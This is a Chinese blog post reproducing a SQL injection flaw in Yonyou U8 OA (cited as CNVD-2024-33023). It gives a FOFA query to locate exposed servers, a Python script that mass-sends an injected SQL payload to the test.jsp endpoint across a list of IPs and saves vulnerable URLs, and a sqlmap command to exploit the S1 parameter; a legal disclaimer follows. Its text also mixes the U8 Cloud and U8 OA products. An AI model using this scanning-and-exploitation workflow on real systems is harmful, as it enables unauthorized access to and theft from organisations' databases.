0x04 用友 U8 OA SQL注入漏洞(CNVD-2024-33023)

参考:

一、漏洞介绍

产品:U8 Cloud(用友推出的新一代云ERP)

公开日期:2024-08-11

漏洞编号:CNVD-2024-33023

危害等级:高危

漏洞描述:U8 Cloud 存在 SQL 注入漏洞,攻击者可利用此漏洞获取数据库中的敏感信息。

受影响产品:U8 Cloud

漏洞处置建议:厂商已发布漏洞修复程序,请及时关注更新:修复程序

二、漏洞复现

fofa 搜索

# title="beijing" 	通过网站标题进行查询 
title="用友U8-OA"

使用脚本将搜索出来的ip报存成一个.txt文件

原文是用github上的一个工具实现,我这里用之前写的脚本实现,

搜索ip脚本的编写教程:Python教程:如何用Python编写FOFA爬虫获取信息?_fofa python-CSDN博客

POC批量验证

这里使用原文作者提供的脚本

import requests
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

ip_list = []  # 用于存放存在漏洞的URL地址


def print_title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
    print('+  \033[34mTitle   : 用友 U8 OA test.jsp SQL注入漏洞                           \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mFile         >>> ip.txt                             \033[0m')
    print('+------------------------------------------')


def check_vulnerability(target_url) -> bool:
    vuln_url = f"{target_url}/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "c4ca4238a0b923820dcc509a6f75849b" in response.text and response.status_code == 200:
            print(f"\033[32m[o] 目标 {target_url} 存在漏洞 \n[o] 响应地址: {vuln_url} \033[0m")
            ip_list.append(vuln_url)
        else:
            print(f"\033[31m[x] 目标 {target_url} 不存在漏洞 \033[0m")
    except requests.RequestException:
        print(f"\033[31m[x] 目标 {target_url} 请求失败 \033[0m")


def main():
    print_title()
    with open('ip.txt', 'r', encoding='utf-8') as file:
        ip_data = file.read()

    ip_addresses = re.findall(r'\b\d{1,3}(?:\.\d{1,3}){3}:\d+\b', ip_data)  # 提取IP:PORT格式

    for ip in ip_addresses:
        target_url = f"http://{ip}" if not ip.startswith('http') else ip
        print(target_url)
        check_vulnerability(target_url)

    with open("urls.txt", "w") as file:
        file.write("\n".join(ip_list))

    print(ip_list)  # 打印所有存在漏洞的URL


if __name__ == '__main__':
    main()

使用sqlmap搜索验证脚本的运行结果

这个工具kali中有,不用自己安装

格式: 

sqlmap -u "http://IP:PORT/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))" -p "S1"

免责声明

欢迎访问我的博客。以下内容仅供教育和信息用途:

  1. 合法性:我不支持或鼓励非法活动。请确保遵守法律法规。
  2. 信息准确性:尽管我尽力提供准确的信息,但不保证其完全准确或适用。使用前请自行验证。
  3. 风险提示:技术使用可能带来风险,如系统损坏或数据丢失。请谨慎使用,并自行承担风险。
  4. 责任限制:我对使用博客内容产生的任何损害不承担责任。
  5. 第三方链接:博客中的链接仅为方便用户,内容不由我负责。

使用本博客即表示您同意以上条款。如果有疑问,请联系我。

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

狗蛋的博客之旅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值